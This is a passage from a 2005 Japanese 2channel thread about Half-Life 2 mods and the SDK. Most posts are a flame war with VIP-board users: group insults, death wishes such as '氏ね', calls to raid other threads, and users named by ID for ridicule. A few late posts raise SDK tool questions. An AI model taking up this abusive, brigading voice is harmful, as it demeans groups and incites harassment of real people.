VIPPERのような屑は本当に死ねばいいと思うよ。
まったく
Age of Empires III 第19幕
http://game10.2ch.net/test/read.cgi/game/1133738952/
ここへ全員集合だ!!!
0918名無しさん@お腹いっぱい。
2005/12/09(金) 22:36:06ID:G2n/yfIv0919名無しさん@お腹いっぱい。
2005/12/09(金) 22:36:21ID:o5Z8sDnf0920名無しさん@お腹いっぱい。
2005/12/09(金) 22:37:04ID:Muos3cFL>>651から必死に乙
もうVIPは負けたんだから残党は巣にお帰りw
0921名無しさん@お腹いっぱい。
2005/12/09(金) 22:39:02ID:Muos3cFL22時に爆撃宣言しておいて結局なにごともなしw
↓
□■HALF-LIFE2 MOD・SDKスレ その4■□
http://game9.2ch.net/test/read.cgi/gamef/1119745898/
OGGがVIPにケンカ撃ってるお
http://ex14.2ch.net/test/read.cgi/news4vip/1134127166/
↑で宣伝するも逆にVIPからも叩かれる始末w
VIPPERが口だけネット弁慶野郎ということが、またも明らかに!!
またイタいVIPPERの例としてID:Vcf+XnDBとID:idK/+682を抽出してみましょうw
0922名無しさん@お腹いっぱい。
2005/12/09(金) 22:39:21ID:o5Z8sDnf〉
○ノ 光風追い越したらイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0923名無しさん@お腹いっぱい。
2005/12/09(金) 22:40:03ID:Vcf+XnDB0924名無しさん@お腹いっぱい。
2005/12/09(金) 22:41:20ID:pKqasAWs0925名無しさん@お腹いっぱい。
2005/12/09(金) 22:42:17ID:Muos3cFL/ __ __ヽ
/ ヽ /⌒ヽ ヽヽ
⊂二二\ \ ^ω^)二⊃
| | |\ \/ | |
ヽヽ ( \ \ / ./
\\[VIP禁止] /
\ ____,, /
巛ヽ
______ | .|
/ ∧_∧ / /
/ .(´∀` / /ヽ
/ /\ \ f. 、ヽ
| | / \ \ | | .|
ヽヽ〈__}) \ \ | ./ /
\[イヤッホ-禁止]./
\ ____,, /
完全敗北のVIPPERは守るように
0926名無しさん@お腹いっぱい。
2005/12/09(金) 22:42:55ID:o5Z8sDnfだが断る
。
〉
○ノ 光風追い越したらイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0927名無しさん@お腹いっぱい。
2005/12/09(金) 22:43:19ID:729TKTgFVIPPER少ない
ID:Muos3cFLとID:Vcf+XnDBが痛い
飽きた
0928名無しさん@お腹いっぱい。
2005/12/09(金) 22:43:19ID:idK/+682お前は帰ってこなくていいからなw
0929名無しさん@お腹いっぱい。
2005/12/09(金) 22:45:06ID:pKqasAWs�d
まあ、個人サイトに田代なんて流行らないし
0930名無しさん@お腹いっぱい。
2005/12/09(金) 22:45:31ID:Muos3cFL( ^ω^)砲撃だお
イタいVIP残党まだいたwID:729TKTgF
0931名無しさん@お腹いっぱい。
2005/12/09(金) 22:45:59ID:o5Z8sDnf〉
○ノ VIPPER少ないぜイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0932名無しさん@お腹いっぱい。
2005/12/09(金) 22:46:54ID:Muos3cFLあばれてたわけだカワイソス
0933名無しさん@お腹いっぱい。
2005/12/09(金) 22:47:52ID:Muos3cFLま、みじめな負け惜しみログにのこしてもいいけどねw
0934名無しさん@お腹いっぱい。
2005/12/09(金) 22:48:34ID:Muos3cFL↓
0935名無しさん@お腹いっぱい。
2005/12/09(金) 22:48:42ID:o5Z8sDnf〉
○ノ まだ帰らないぜイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0936名無しさん@お腹いっぱい。
2005/12/09(金) 22:48:59ID:Muos3cFL0937名無しさん@お腹いっぱい。
2005/12/09(金) 22:49:20ID:Muos3cFLじゃ残党VIPPERの負け犬の遠吠えどうぞ
↓
935 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 22:48:42 ID:o5Z8sDnf
。
〉
○ノ まだ帰らないぜイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0938名無しさん@お腹いっぱい。
2005/12/09(金) 22:49:39ID:0sOc+IBQVIPPER突撃開始!!!!!!!
471 名無しさんの野望 sage New! 2005/12/09(金) 22:28:30 ID:RWmFtidM
VIPPERがPCアクションであばれてるな・・
VIPPERのような屑は本当に死ねばいいと思うよ。
まったく
Age of Empires III 第19幕
http://game10.2ch.net/test/read.cgi/game/1133738952/
ここへ全員集合だ!!!
0939名無しさん@お腹いっぱい。
2005/12/09(金) 22:50:57ID:G2n/yfIvカワイソスな人にカワイソス言われた
ID:Vcf+XnDBとID:729TKTgFとID:idK/+682
グランドカワイソス
さっき来たばっかだけど帰るお⊂二二二( ^ω^)二⊃ ブーン
0940名無しさん@お腹いっぱい。
2005/12/09(金) 22:51:42ID:Vcf+XnDBもうこれからはこんな事の無いようにしたいですね。
まぁ一件落着ということで!
0941名無しさん@お腹いっぱい。
2005/12/09(金) 22:51:55ID:o5Z8sDnfじゃ残党VIPPERの負け犬の遠吠えどうぞ
↓
935 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 22:48:42 ID:o5Z8sDnf
。
〉
○ノ まだ帰らないぜイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
。
〉
○ノ うまいこと負け犬の遠吠えイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0942名無しさん@お腹いっぱい。
2005/12/09(金) 22:52:24ID:NeK617UYVip以外の板で募って総攻撃してくるか
0943名無しさん@お腹いっぱい。
2005/12/09(金) 22:52:39ID:0sOc+IBQVIPPER突撃開始!!!!!!!
471 名無しさんの野望 sage New! 2005/12/09(金) 22:28:30 ID:RWmFtidM
VIPPERがPCアクションであばれてるな・・
VIPPERのような屑は本当に死ねばいいと思うよ。
まったく
Age of Empires III 第19幕
http://game10.2ch.net/test/read.cgi/game/1133738952/
ここへ全員集合だ!!!
0944名無しさん@お腹いっぱい。
2005/12/09(金) 22:52:51ID:Muos3cFL>http://ex14.2ch.net/test/read.cgi/news4vip/1134127166/
>
>↑で宣伝するも逆にVIPからも叩かれる始末w
VIPPERの中の人はそんなスレに喰い付かないと思うんだよ
もっと面白いスレ沢山あるし・・・
それでもレスが60も付いてるのは、VIPPER以外も書き込んでるんじゃないかな
現にVIPではdat落ち防ぐ為に基本age進行なのにsageて書き込んでる人が目立つし
スレがいくらでも立つVIPなら、ほっときゃスレ落ちて終わりなのに
削除出せとか言ってる人もいるし
スレ主のID:jkks/mGc0は、なんかVIPに初めて来た人が
一生懸命VIPのノリで書き込んでるようにしか見えないし
どうみても精子です
本当にありがとうございました
918 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 22:36:06 ID:G2n/yfIv
レス返ってくんのはええええwwww
939 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 22:50:57 ID:G2n/yfIv
じゃあ負け惜しみを残して帰りますね
カワイソスな人にカワイソス言われた
ID:Vcf+XnDBとID:729TKTgFとID:idK/+682
グランドカワイソス
さっき来たばっかだけど帰るお⊂二二二( ^ω^)二⊃ ブーン
0945名無しさん@お腹いっぱい。
2005/12/09(金) 22:55:04ID:+TLwtA/S0946名無しさん@お腹いっぱい。
2005/12/09(金) 22:55:38ID:o5Z8sDnf〉
○ノ うざいって言わせたぜイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0947名無しさん@お腹いっぱい。
2005/12/09(金) 22:58:50ID:LLDJEljIこんなオタクばっかりの気持ち悪い板があったんですね!!!オタクはチネ!!!!
0948名無しさん@お腹いっぱい。
2005/12/09(金) 23:00:18ID:729TKTgF4時間無駄に浪費しちまったじゃねーかバーローwww
ID:Muos3cFL乙 煽りが上手い釣り師でしたね
0949名無しさん@お腹いっぱい。
2005/12/09(金) 23:00:56ID:0sOc+IBQVIPPER突撃開始!!!!!!!
471 名無しさんの野望 sage New! 2005/12/09(金) 22:28:30 ID:RWmFtidM
VIPPERがPCアクションであばれてるな・・
VIPPERのような屑は本当に死ねばいいと思うよ。
まったく
Age of Empires III 第19幕
http://game10.2ch.net/test/read.cgi/game/1133738952/
ここへ全員集合だ!!!
0950名無しさん@お腹いっぱい。
2005/12/09(金) 23:00:59ID:o5Z8sDnf〉
○ノ ほめられちゃったぜイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0951名無しさん@お腹いっぱい。
2005/12/09(金) 23:02:36ID:Muos3cFL☆ V I P 完 全 敗 北 ☆
22時に爆撃宣言しておいて結局なにごともなしw
↓
□■HALF-LIFE2 MOD・SDKスレ その4■□
http://game9.2ch.net/test/read.cgi/gamef/1119745898/
OGGがVIPにケンカ撃ってるお
http://ex14.2ch.net/test/read.cgi/news4vip/1134127166/
↑で宣伝するも逆にVIPからも叩かれる始末w
VIPPERが口だけネット弁慶野郎ということが、またも明らかに!!
またイタいVIPPERの例としてID:Vcf+XnDBとID:idK/+682とID:729TKTgFを抽出してみましょうw
0952名無しさん@お腹いっぱい。
2005/12/09(金) 23:02:58ID:dmgaaHnyちょっと噛み付かれたらレス晒しかよwwwwwww
ほとぼりが冷めたころに帰ってこいよID:Muos3cFL
0953名無しさん@お腹いっぱい。
2005/12/09(金) 23:03:48ID:mHRDtA1u0954名無しさん@お腹いっぱい。
2005/12/09(金) 23:04:37ID:Muos3cFL単発ID=VIP残党
0955名無しさん@お腹いっぱい。
2005/12/09(金) 23:04:39ID:idK/+682様子見らしいよ
0956名無しさん@お腹いっぱい。
2005/12/09(金) 23:05:59ID:o5Z8sDnf〉
○ノ もちろん空気なんか読まないぜイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0957名無しさん@お腹いっぱい。
2005/12/09(金) 23:07:54ID:mHRDtA1uID:Muos3cFLはいったいVIPPERになにを求めているんだ?
突撃か?
それともただの挑発か?
よもやたんにVIPPERの力を見たいからとは言うまいな。なにか考えがあっての発言だよな?
0958名無しさん@お腹いっぱい。
2005/12/09(金) 23:08:31ID:Y/HB003Q0959名無しさん@お腹いっぱい。
2005/12/09(金) 23:10:00ID:o5Z8sDnf〉
○ノ 求めているのはvipクオリティだぜイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
 ̄ ̄ ̄ ̄
0960名無しさん@お腹いっぱい。
2005/12/09(金) 23:10:06ID:mHRDtA1usage進行か、スマン。
0961名無しさん@お腹いっぱい。
2005/12/09(金) 23:10:30ID:Muos3cFLアホか?VIPPERに求めてるのは氏
0962名無しさん@お腹いっぱい。
2005/12/09(金) 23:12:13ID:mHRDtA1uあぁ、なんだまともに話をする気はないのか。ID:Muos3cFL、ただのあらしじゃん。
0963名無しさん@お腹いっぱい。
2005/12/09(金) 23:12:30ID:idK/+6820964名無しさん@お腹いっぱい。
2005/12/09(金) 23:15:10ID:Muos3cFLVIP工作員乙
俺にVIP潰されてこんどは俺潰そうって必死なわけかw
なにが荒らしだVIPPER氏ねよ
0965名無しさん@お腹いっぱい。
2005/12/09(金) 23:16:44ID:Muos3cFLあわれVIPあわれ
0966名無しさん@お腹いっぱい。
2005/12/09(金) 23:19:07ID:FQUfZED9触るな馬鹿 お前が哀れだ
0967名無しさん@お腹いっぱい。
2005/12/09(金) 23:19:31ID:mHRDtA1uうん。否定するまでもなく、私はVIPPERです。
でも、潰すとか潰さないとかそういう話をしに着たのではないのではないよ。
ただグループ単位で人間をひとまとめにした否定の文章を書くひとは、なにが理由でそんなことをするのかが気になっただけ。
まぁ、一回の返答のみであらしと決めたのは悪かった。そうされても仕方のない文面とは思ったのは事実だが。
0968名無しさん@お腹いっぱい。
2005/12/09(金) 23:20:32ID:Muos3cFLいい加減引き際だぞVIPPERw
氏ね
0969名無しさん@お腹いっぱい。
2005/12/09(金) 23:20:51ID:mHRDtA1uいや、突撃目的できたわけではない。
ちょっと、ID:Muos3cFLが気になっただけなんだ。
気遣いさんくす。
0970名無しさん@お腹いっぱい。
2005/12/09(金) 23:21:07ID:idK/+6820971名無しさん@お腹いっぱい。
2005/12/09(金) 23:26:21ID:u4CSChkaこうやって貴重な情報やTIPSが闇に葬られていくんだね。
0972名無しさん@お腹いっぱい。
2005/12/09(金) 23:29:42ID:o5Z8sDnfksk
0973名無しさん@お腹いっぱい。
2005/12/09(金) 23:33:15ID:ec35uoTg誰でも思い描いたMODが、
簡単に作れるツールが出たと思っただろ!
0974名無しさん@お腹いっぱい。
2005/12/09(金) 23:45:10ID:1fr8mM00本スレはもっとひどかったが。
0975名無しさん@お腹いっぱい。
2005/12/10(土) 01:14:51ID:ppbOu6Y8本当に勘弁してくれ…、迷惑だ
0976名無しさん@お腹いっぱい。
2005/12/10(土) 01:15:33ID:qyfeqOMdじゃ残党VIPPERの負け犬の遠吠えどうぞ
↓
935 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/09(金) 22:48:42 ID:o5Z8sDnf
。
〉
○ノ まだ帰らないぜイヤッホォォ!
<ヽ |
i!i/, |i!ii ガタン
0977名無しさん@お腹いっぱい。
2005/12/10(土) 01:19:03ID:oGJSgXW30978名無しさん@お腹いっぱい。
2005/12/10(土) 01:36:37ID:pMKHROjuVIPのみなさんこちらへどうぞw
【ogg知名度】HALF-LIFE2ハーフライフ2【鉄槌専用】
http://game9.2ch.net/test/read.cgi/gamef/1134133326/
0979名無しさん@お腹いっぱい。
2005/12/10(土) 01:39:17ID:S+w8htUZベータSDKを一度導入したら、愛用してたStudioCompilerが起動しなくなったぞ
どうなってんだこりゃ
0980名無しさん@お腹いっぱい。
2005/12/10(土) 01:48:10ID:S+w8htUZValve氏ね
0981名無しさん@お腹いっぱい。
2005/12/10(土) 01:50:44ID:S+w8htUZstudiomdl.exeじゃなくてmdldecompiler.exeにDrag&dropしてたわ
0982名無しさん@お腹いっぱい。
2005/12/10(土) 14:17:25ID:o7+2dEU7似たようなphys_keepuprightもあるんですが、もし方法があるなら教えてほしいです
確かSMOD辺りでその検証があったと思うんですがどこにあるのかもう分からずでして…
0983名無しさん@お腹いっぱい。
2005/12/10(土) 15:10:36ID:VRD35V9e0984名無しさん@お腹いっぱい。
2005/12/10(土) 16:47:19ID:mFobLyDp0985名無しさん@お腹いっぱい。
2005/12/10(土) 20:09:02ID:G9Jm8HX70986名無しさん@お腹いっぱい。
2005/12/11(日) 14:13:50ID:Eu76C60Zいきり立つチンポオブザイヤー
0987名無しさん@お腹いっぱい。
2005/12/11(日) 15:43:06ID:QjCx4x/P0988名無しさん@お腹いっぱい。
2005/12/11(日) 16:26:16ID:zhtRfFB+レス数が950を超えています。1000を超えると書き込みができなくなります。